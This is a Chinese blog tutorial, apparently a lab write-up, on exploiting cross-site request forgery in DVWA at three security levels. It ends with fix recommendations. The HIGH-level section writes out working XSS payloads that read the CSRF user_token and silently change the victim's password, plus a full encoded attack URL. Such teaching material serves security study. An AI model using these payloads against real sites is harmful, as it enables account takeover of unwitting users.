美文网首页
04.DVWA之跨站请求伪造

04.DVWA之跨站请求伪造

作者: imsilence | 来源:发表于2019-02-18 00:03 被阅读1次

漏洞概述

跨站请求伪造是指攻击者引诱用户访问页面,攻击页面使用该用户身份在第三方网站自动进行操作

测试工具

firefox浏览器,burp suite

测试方法

LOW级别

  1. 设置DVWA安全级别为LOW

  2. 启动burpsuite并开启代理

    04.01.png
  3. 设置firefox浏览器代理为127.0.0.1:8080

    04.02.png
  4. 关闭burpsuite拦截

    04.03.png
  5. 使用firefox浏览器发起登陆请求

    04.05.png

    [图片上传中...(04.06.png-c691b5-1550418901052-0)]

  6. 使用burpsuite进行CSRF攻击

    04.06.png 04.07.png 04.08.png 04.09.png
  7. 分析结果

    04.10.png
  8. 代码分析

    04.11.png

    说明:

    修改密码过程针对第三方站点自动化请求无任何防御机制,可以在用户登录状态下由第三方站点自动发起修改密码操作

MEDIUM级别

  1. 设置DVWA安全级别为Medium

  2. 启动burpsuite并开启代理

    04.12.png
  3. 设置firefox浏览器代理为127.0.0.1:8080

    04.13.png
  4. 关闭burpsuite拦截

    04.14.png
  5. 使用firefox浏览器发起登陆请求

    04.15.png
  6. 使用burpsuite进行CSRF攻击

    04.16.png 04.17.png 04.18.png 04.19.png 04.20.png
  7. 分析结果

    04.21.png
  8. 代码分析

    04.22.png

    说明:

    针对请求来源使用http referrer头信息进行检查,但是检查逻辑存在问题,检查逻辑为在referer中查找服务器名称,若查找到则成功,否则失败

HIGH级别

  1. 设置DVWA安全级别为High

  2. 借助反射型XSS实现CSRF攻击

    • 反射性XSS漏洞利用

    payload: <img src="" onerror="alert(/xss/)"/>

    04.23.png 04.24.png
    • 通过反射型XSS获取修改密码表单user_token

    payload: <iframe src="../csrf/" onload="alert(frames[0].document.getElementsByName('user_token')[0].value)"></iframe>

    04.25.png
    • 利用反射性XSS自动提交修改密码表单

    payload: <iframe src="../csrf" onload="var t=frames[0].document.getElementsByName('user_token')[0].value,x=new XMLHttpRequest();x.open('GET', '../csrf/?password_new=test123&password_conf=test123&Change=Change&user_token='+t, null);x.send()"></iframe>

    发起攻击连接:

    http://localhost/DVWA-1.9/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22..%2Fcsrf%22+onload%3D%22var+t%3Dframes%5B0%5D.document.getElementsByName%28%27user_token%27%29%5B0%5D.value%2Cx%3Dnew+XMLHttpRequest%28%29%3Bx.open%28%27GET%27%2C+%27..%2Fcsrf%2F%3Fpassword_new%3Dtest123%26password_conf%3Dtest123%26Change%3DChange%26user_token%3D%27%2Bt%2C+null%29%3Bx.send%28%29%22%3E%3C%2Fiframe%3E#

    test123为修改后密码

    04.26.png
  3. 分析结果

    04.27.png 04.28.png
  4. 代码分析

    04.29.png

    说明:

    针对请求进行随机token验证,需要借助xss漏洞实现漏洞利用

修复建议

  1. 对于修改数据和登陆表单提交使用POST方式,同时数据通过POST方式读取

  2. 添加随机token预防csrf攻击

  3. 对提交的请求进行referer验证,验证规则请求referer必须以http(s)://host:port/开头

  4. 针对修改密码,需要输入原密码进行验证

  5. 可添加验证码进行用户确认

相关文章

网友评论

      本文标题:04.DVWA之跨站请求伪造

      本文链接:https://www.haomeiwen.com/subject/rdqoeqtx.html